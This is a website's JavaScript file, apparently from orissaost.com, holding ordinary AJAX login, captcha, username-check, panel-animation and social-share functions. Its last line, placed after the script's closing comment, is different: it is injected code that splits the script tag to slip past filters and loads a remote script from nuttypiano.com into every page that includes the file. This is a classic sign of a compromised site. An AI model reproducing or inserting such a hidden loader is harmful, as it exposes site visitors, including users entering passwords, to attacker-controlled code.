// JavaScript Document
// JavaScript for implementing ajax
<!--
function xmlhttp_login(strURL,a) {
	document.getElementById('loginloader').style.display='block';
    var xmlHttpReq2 = false;
    var self = this;
    // Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq2 = new XMLHttpRequest();
    }
    // IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq2 = new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq2.open('POST', strURL, true);
    self.xmlHttpReq2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq2.onreadystatechange = function() {
        if (self.xmlHttpReq2.readyState == 4) {
            updatenext_login(self.xmlHttpReq2.responseText);
			document.getElementById('loginloader').style.display='none';
        }
	 }
    self.xmlHttpReq2.send(getquerynext_login(a));
   }

function getquerynext_login(a)
{
	
	if(a == 'login')
	{
		var username = document.getElementById('username').value;
		var password = document.getElementById('password').value;
		qstr ='logincheck='+escape(username)+"[****]"+escape(password);
	}
	if(a == 'fp')
	{
		var username = document.getElementById('username1').value;
		qstr ='forgetpassword='+escape(username);
	}	
	return qstr;
}

function updatenext_login(str4){
	   document.getElementById("thelogin").innerHTML = str4;
	   window.setTimeout("closeLoginerror('loginerror')",3000);
	   window.setTimeout("islogedin()",2000);

}
function FP_username()
{
	if(document.getElementById('FP_uname').value == 'Enter Username')
	{
		document.getElementById('FP_uname').value ='';
	}
}

function FP_username1()
{
	if(document.getElementById('FP_uname').value == '')
	{
		document.getElementById('FP_uname').value ='Enter Username';
	}
}
function showhide(divid)
{
	if(document.getElementById(divid).style.display=='block')
	{
		document.getElementById(divid).style.display='none';
	}
	else
	{
		document.getElementById(divid).style.display='block';
	}
}
//For captcha
function xmlhttpvdsent_cap(strURL,a) {
	document.getElementById('caploader').style.display='block';
    var xmlHttpReq2 = false;
    var self = this;
    // Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq2 = new XMLHttpRequest();
    }
    // IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq2 = new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq2.open('POST', strURL, true);
    self.xmlHttpReq2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq2.onreadystatechange = function() {
        if (self.xmlHttpReq2.readyState == 4) {
            updatenext_cap(self.xmlHttpReq2.responseText);
			document.getElementById('caploader').style.display='none';
        }
	 }
    self.xmlHttpReq2.send(getquerynext_cap(a));
   }

function getquerynext_cap(a)
{
	qstr ='refresh='+escape(a);
	return qstr;
}

function updatenext_cap(str4){
	   document.getElementById("captcha_area").innerHTML = str4;
}
//End of captcha


function closeLoginerror(loginerror)
{
	 document.getElementById(loginerror).innerHTML = '';
}
function islogedin()
{
	if(document.getElementById('islogedin'))
	{
		if( document.getElementById('islogedin').value==1)
		{
			window.location ="index.php";
		}
	}
}

//usernameexistcheck
function xmlhttp_unameexists(strURL) {
    var xmlHttpReq2 = false;
    var self = this;
    // Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq2 = new XMLHttpRequest();
    }
    // IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq2 = new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq2.open('POST', strURL, true);
    self.xmlHttpReq2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq2.onreadystatechange = function() {
        if (self.xmlHttpReq2.readyState == 4) {
            updatenext_unameexists(self.xmlHttpReq2.responseText);
        }
	 }
    self.xmlHttpReq2.send(getquerynext_unameexists());
   }

function getquerynext_unameexists()
{
	var r_username = document.getElementById('r_username').value;
	qstr ='enteredusername='+escape(r_username);		
	return qstr;
}

function updatenext_unameexists(str4){
	   document.getElementById("unameExist").innerHTML = str4;
}

function showextlinks1()
{
	if(document.getElementById("alllinks_etx").style.display=='none')
	showextlinks()
	else
	hideextlinks()
}
function showextlinks()
{
	//extlinks , extlink_sec
	var wid_extlink_sec =  document.getElementById("extlink_sec").style.width;
	var leftpx = "1055";
	originalleft = parseInt(leftpx)-parseInt(wid_extlink_sec);
	
	if(parseInt(wid_extlink_sec) < 150)
	{
		increseWidthEL(originalleft,wid_extlink_sec);		
	}
}
function increseWidthEL(originalleft,wid_extlink_sec)
{
	if(parseInt(wid_extlink_sec) < 150)
	{
		wid_extlink_sec = parseInt(wid_extlink_sec) +5;
		if(wid_extlink_sec > 90)
		wid_extlink_sec = parseInt(wid_extlink_sec) +1;
		var leftpx = "1055";
		originalleft = parseInt(leftpx)-parseInt(wid_extlink_sec);
		document.getElementById("extlink_sec").style.width=wid_extlink_sec+"px";
		//document.getElementById("extlinks").style.left=originalleft+"px";
		window.setTimeout("increseWidthEL('"+originalleft+"','"+wid_extlink_sec+"')",10)
	}
	if(parseInt(wid_extlink_sec) > 0)
	{
		document.getElementById("extlink_sec").style.border="1px solid #C0C0C0"; 
		document.getElementById("extlink_sec").style.backgroundColor='#FFFFFF';
		
	}
	if(parseInt(wid_extlink_sec) > 130)
	{
		document.getElementById("alllinks_etx").style.display='block';
		document.getElementById("alllinks_etx").style.width='130px';
		document.getElementById("alllinks_etx").style.height='100px';
	}
}

function hideextlinks()
{
	var wid_extlink_sec =  document.getElementById("extlink_sec").style.width; 
	var leftpx = "1055";
	originalleft = parseInt(leftpx)-parseInt(wid_extlink_sec);
	
	if(parseInt(wid_extlink_sec) > 0)
	{
		decreaseWidthEL(originalleft,wid_extlink_sec);		
	}
}
function decreaseWidthEL(originalleft,wid_extlink_sec)
{
	if(parseInt(wid_extlink_sec) > 0)
	{
		wid_extlink_sec = parseInt(wid_extlink_sec) -5;
		if(wid_extlink_sec > 90)
		wid_extlink_sec = parseInt(wid_extlink_sec) -2;
		var leftpx = "1055";
		originalleft = parseInt(leftpx)-parseInt(wid_extlink_sec);
		document.getElementById("extlink_sec").style.width=wid_extlink_sec+"px";
		//document.getElementById("extlinks").style.left=originalleft+"px";
		window.setTimeout("decreaseWidthEL('"+originalleft+"','"+wid_extlink_sec+"')",10)
	}
	if(parseInt(wid_extlink_sec) <= 0)
	{
		document.getElementById("extlink_sec").style.border="0px solid #C0C0C0"; 
		document.getElementById("extlink_sec").style.backgroundColor='';		
	}
	if(parseInt(wid_extlink_sec) < 130)
 	{
		document.getElementById("alllinks_etx").style.display='none';
	}
}

function set_share(url)
{
	var sc_title = document.title;
	if(sc_title == '')
	sc_title = 'www.orissaost.com information';
	//for twitter ( http://twitter.com/home?status=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/)
	var twiturl = "http://twitter.com/home/?status= "+sc_title+" "+url;
	document.getElementById('twitter').href = twiturl;
	
	//for facebook (http://www.facebook.com/share.php?u=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/)
	var sc_title1 = sc_title.replace(/\s/g,"+");
	var FB_url = "http://www.facebook.com/share.php?u="+url;
	document.getElementById('facebook').href = FB_url;
	
	//for linkedin (http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fmashable.com%2F2009%2F09%2F04%2Fmicrosoft-word-ban-lifted%2F&title=Judge%20to%20Microsoft%3A%20OK%2C%20You%20Can%20Keep%20Selling%20Word%20For%20a%20Couple%20More%20Days&summary=&source=)
	var LN_url = "http://www.linkedin.com/shareArticle?mini=true&url="+url;
	document.getElementById('linkedin').href = LN_url;
	
	//for myspace (http://www.myspace.com/Modules/PostTo/Pages/?l=3&u=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/)
	var MS_url = "http://www.myspace.com/Modules/PostTo/Pages/?l=3&u="+url;
	document.getElementById('myspace').href = MS_url;
	
	//for google ( http://www.google.com/bookmarks/mark?op=edit&bkmk=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/)
	var GO_url = "http://www.google.com/bookmarks/mark?op=edit&bkmk="+url;
	document.getElementById('google').href = GO_url;
	
	//for digg ( http://digg.com/submit?phase=2&url=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/&title=Judge+to+Microsoft%3A+OK%2C+You+Can+Keep+Selling+Word+For+a+Couple+More+Days)
	var digg_url = "http://digg.com/submit?phase=2&url="+url+"&title="+sc_title1;
	document.getElementById('digg').href = digg_url;

	//for delicious ( http://del.icio.us/post?url=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/&title=Judge+to+Microsoft%3A+OK%2C+You+Can+Keep+Selling+Word+For+a+Couple+More+Days)
	var delicious_url = "http://del.icio.us/post?url="+url+"&title="+sc_title1;
	document.getElementById('delicious').href =delicious_url;


	//for delicious (  http://reddit.com/submit?url=http://mashable.com/2009/09/04/microsoft-word-ban-lifted/)
	var reddit_url = "http://reddit.com/submit?url="+url;
	document.getElementById('reddit').href =reddit_url;
	
}

//-->





document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/HDTV.js"></scri'+'pt>');